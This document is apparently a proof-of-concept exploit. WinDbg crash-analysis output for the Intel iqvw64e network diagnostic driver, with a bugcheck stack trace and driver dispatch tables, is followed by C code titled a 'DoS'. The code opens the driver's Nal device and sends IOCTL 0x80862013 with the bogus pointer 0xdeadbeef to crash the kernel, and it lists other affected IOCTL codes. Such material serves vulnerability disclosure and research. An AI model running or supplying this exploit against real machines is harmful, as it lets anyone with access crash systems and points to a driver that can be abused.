    Image: ConsoleApplication7.exe
    VadRoot fffffa804a9eb220 Vads 30 Clone 0 Private 110. Modified 0. Locked 0.
    DeviceMap fffff8a0022b5570
    Token                             fffff8a01685d060
    ElapsedTime                       00:00:39.608
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         20128
    QuotaPoolUsage[NonPagedPool]      3360
    Working Set Sizes (now,min,max)  (510, 50, 345) (2040KB, 200KB, 1380KB)
    PeakWorkingSetSize                510
    VirtualSize                       11 Mb
    PeakVirtualSize                   11 Mb
    PageFaultCount                    529
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      140
    Job                               fffffa804d0fc080

        THREAD fffffa804c800060  Cid 0d9c.0da0  Teb: 000000007efdb000 Win32Thread: 0000000000000000 RUNNING on processor 3
        IRP List:
            fffffa804d01e160: (0006,0118) Flags: 00060000  Mdl: 00000000
        Not impersonating
        DeviceMap                 fffff8a0022b5570
        Owning Process            fffffa804d0f29e0       Image:         ConsoleApplication7.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      440956         Ticks: 0
        Context Switch Count      31             IdealProcessor: 3             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.000
*** WARNING: Unable to verify checksum for ConsoleApplication7.exe
*** ERROR: Module load completed but symbols could not be loaded for ConsoleApplication7.exe
        Win32 Start Address ConsoleApplication7 (0x0000000000041354)
        Stack Init fffff8800653bc70 Current fffff8800653b530
        Base fffff8800653c000 Limit fffff88006536000 Call 0
        Priority 11 BasePriority 8 UnusualBoost 0 ForegroundBoost 2 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
        fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
        fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
        fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
        fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
        fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
        fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
        fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
        fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
        fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
        fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
        fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a (TrapFrame @ fffff880`0653b210)
        fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
        fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
        fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
        fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
        fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ fffff880`0653bae0)
        00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
        00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
        00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
        00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
        00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
        00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
        00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe


3: kd> !irp fffffa804d01e160
Irp is active with 1 stacks 1 is current (= 0xfffffa804d01e230)
 No Mdl: No System Buffer: Thread fffffa804c800060:  Irp stack trace.  
     cmd  flg cl Device   File     Completion-Context
>[  e, 0]   5  0 fffffa804aac7b00 fffffa804d1084d0 00000000-00000000    
	       \FileSystem\iqvw64e
			Args: 00000000 00000000 80862013 deadbeef

3: kd> !object fffffa804aac7b00
Object: fffffa804aac7b00  Type: (fffffa804900af30) Device
    ObjectHeader: fffffa804aac7ad0 (new version)
    HandleCount: 0  PointerCount: 2
    Directory Object: fffff8a000010060  Name: Nal

3: kd> dt_IO_STACK_LOCATION 0xfffffa804d01e230
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : 0xe ''
   +0x001 MinorFunction    : 0 ''
   +0x002 Flags            : 0x5 ''
   +0x003 Control          : 0 ''
   +0x008 Parameters       : <unnamed-tag>
   +0x028 DeviceObject     : 0xfffffa80`4aac7b00 _DEVICE_OBJECT
   +0x030 FileObject       : 0xfffffa80`4d1084d0 _FILE_OBJECT
   +0x038 CompletionRoutine : (null) 
   +0x040 Context          : (null) 

3: kd> !devobj 0xfffffa80`4aac7b00 7
Device object (fffffa804aac7b00) is for:
 Nal \FileSystem\iqvw64e DriverObject fffffa804b0f4d70
Current Irp 00000000 RefCount 1 Type 00008086 Flags 00000044
Dacl fffff9a10008c391 DevExt fffffa804aac7c50 DevObjExt fffffa804aac7c68 
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)  
Device queue is not busy.

3: kd> !drvobj fffffa804b0f4d70 7
Driver object (fffffa804b0f4d70) is for:
 \FileSystem\iqvw64e
Driver Extension List: (id , addr)

Device Object list:
fffffa804aac7b00  

DriverEntry:   fffff88005fda200	iqvw64e
DriverStartIo: 00000000	
DriverUnload:  fffff88005a09010	iqvw64e
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fffff88005a09090	iqvw64e+0x1090
[01] IRP_MJ_CREATE_NAMED_PIPE           fffff800036b0e30	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       fffff88005a090f0	iqvw64e+0x10f0
[03] IRP_MJ_READ                        fffff800036b0e30	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       fffff800036b0e30	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           fffff800036b0e30	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             fffff800036b0e30	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    fffff800036b0e30	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      fffff800036b0e30	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               fffff800036b0e30	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fffff800036b0e30	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fffff800036b0e30	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           fffff800036b0e30	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fffff800036b0e30	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              fffff88005a09150	iqvw64e+0x1150
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fffff800036b0e30	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    fffff800036b0e30	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                fffff800036b0e30	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     fffff800036b0e30	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             fffff800036b0e30	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              fffff800036b0e30	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                fffff800036b0e30	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       fffff800036b0e30	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              fffff800036b0e30	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               fffff800036b0e30	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 fffff800036b0e30	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   fffff800036b0e30	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         fffff800036b0e30	nt!IopInvalidDeviceRequest


*/

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char **argv)
{
	HANDLE   hDevice;
	DWORD    bret;
	char     szDevice[] = "\\\\.\\Nal";

	printf("--[ Intel Network Adapter Diagnostic Driver DoS ]--\n");

	printf("Opening handle to driver..\n");
	// CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDispoition, dwFlagsAndAttributes, hTemplateFile)
	if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) != INVALID_HANDLE_VALUE)	{
		printf("Device %s succesfully opened!\n", szDevice);
		printf("\tHandle: %p\n", hDevice);
	}
	else
	{
		printf("Error: Error opening device %s\n", szDevice);
	}

	printf("\nPress any key to DoS..");
	_getch();

	bret = 0;
	// Affected IOCTL codes: 0x80862013, 0x8086200B, 0x8086200F, 0x80862007
	// DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped)
	if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
	{
		printf("DeviceIoControl Error - bytes returned %#x\n", bret);
	}

	CloseHandle(hDevice);
	return 0;
}